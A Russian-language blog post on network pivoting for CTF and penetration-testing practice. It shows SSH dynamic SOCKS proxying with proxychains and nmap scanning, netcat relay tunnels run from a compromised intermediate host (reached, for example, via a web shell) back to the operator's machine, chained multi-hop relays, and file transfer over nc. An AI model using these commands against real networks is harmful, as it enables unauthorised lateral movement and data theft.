Pivoting или проброс портов

в 10:39, , рубрики: Pivoting, информационная безопасность, тунеллирование, метки: ,

Наткнулся на статью "SSH-туннели — пробрасываем порт" и захотелось ее дополнить.

Итак, какие еще способы тунеллирования есть:

1. Динамический доступ через SSH

Допустим мы имеем SSH доступ в сеть, и хотим получить доступ к другим хостам/портам в этой сети. Способ уже описанный в вышеупомянутой статье предполагает знание хоста: порта куда мы хотим получить доступ. Но что если мы не знаем этого?

Тут может пригодиться динамический доступ через SSH. Для его конфигурации используется опция ssh -D.

ssh -D 127:0.0.1:2222 user@remotehost

После подключения вы получите динамический socks4 прокси-сервер, слушающий на своей машине на порту 2222 и предоставляющий доступ к удаленной сети.

Как воспользоваться этим доступом? Один из вариантов — использовать proxychains.

  • Устанавливаем Proxychains:
    apt-get proxychains
    

  • Конфигурируем proxychains для использования порта 2222 (на нем слушает наш прокси). Для этого редактируем файл /etc/proxychains.conf и меняем текущую конфигурацию в разделе [ProxyList] с socks4 127.0.0.1 9050 на socks4 127.0.0.1 2222
  • Теперь мы можем использовать proxychains с (почти) любой утилитой. Например, можно запустить сканирование всей удаленной сети при помощи nmap:
    proxychains nmap -sT -sV -v -P0 адрес_подсети маска_подсети
    


Второй вариант — прописать адрес этого прокси сервера 127.0.0.1:2222 прямо у себя в браузере. В результате мы сможем ходить на любые веб-сервера в удаленной подсети.

Очень важно понимать что ProxyChains не зря имеют Chains (переводится как «цепи» или «цепочки») в своем названии. Это значит, что можно выстраивать цепочки из прокси и таким образом строить туннели через множество подсетей. Как это сделать — предлагаю изучить самостоятельно.

2. Туннели NetCat (nc)

Практика показывает, что многие просто не знают об этом функционале NetCat. Итак, представим гипотетическую ситуацию:

  • У нас есть доступ в удаленную посдеть на один компьютер (например при помощи web-shell). Будем называть этот компьютер «промежуточый компьютер»;
  • Есть доступ к netcat на этом компьютере;
  • Можем с этого компьютера подключаться при помощи Netcat на свой компьютер (но не наоборот — т.е. у нас т.н. reverse shell);
  • Имеется горячее желание подключиться к какому-то серверу в удаленной сети, например, по протоколу ssh на порту 22, а ssh клиента на промежуточном компьютере нет и поставить его нельзя.

Эта задача легко решается при помощи netcat туннелей. Для этого на своей машине запускаем следующие команды:

mknod backpipe -p 
nc -lvp 1234 0<backpipe | nc -lvp 8443 1>backpipe

При этом нужно иметь права на запись в текущую директорию, чтобы создать файл backpipe, и удостовериться, что другие сервисы не слушают на портах 1234 и 8443.

На промежуточной машине делаем:

mknod backpipe -p
nc адрес_вашего_компьютера 8443 0<backpipe | nc адрес_удаленного_сервера 22 1>backpipe

При этом нужно иметь права на запись в текущую директорию чтобы создать файл backpipe. Дальше на своей машине делаем ssh -p 1234 user@127.0.0.1 и получаем прямой ssh доступ на удаленный компьютер.

В качестве слегка альтернативных комманд можно использовать:

mkfifo backpipe (аналог mknod -p)
nc -lvp 1234 0<backpipe | nc -lvp 8443 | tee backpipe

Здесь важно понимать, что netcat-клиент и netcat-сервер можно комбинировать в любых сочетаниях, а цепочку выстраивать любой длины. Например, вариант когда мы имеем прямой доступ на «промежуточный компьютер».

Не забываем создавать backpipe на каждой машине!

На своей машине:

nc -lp 1234 0<backpipe | nc адрес_промежуточного_компьютера 443 1>backpipe

На промежуточном компьютере 1:

nc -lp 443 0<backpipe | nc адрес_второго_промежуточного_компьютера 443 1>backpipe

На промежуточном компьютере n:

nc -lp 443 0<backpipe | nc адрес_n+1_промежуточного_компьютера 443 1>backpipe

На промежуточном компьютере n+1:

nc -lp 443 0<backpipe | nc адрес_цели порт_цели 1>backpipe

Также можно использовать любые удобные вам порты и имена пайпов.

Аналогичным образом можно передавать файлы с машины на машину.

Например. На своей машине:

nc -lp 443 >file.txt

На машине, где лежит файл:

nc -lp 443 <file.txt

На промежуточной машине:

nc адрес_вашего_компьютера 443 | nc адрес компьютера_где_лежит_файл 443

В данном случае создавать backpipe не нужно, т.к. мы не поддерживаем сессию, а просто передаем 1 файл в рамках одной сессии.

Пожалуй, на этом все. Мне это очень помогает при прохождении различных CTF, надеюсь, и вам пригодится.

Автор: Zwerg

Источник

Поделиться новостью

* - обязательные к заполнению поля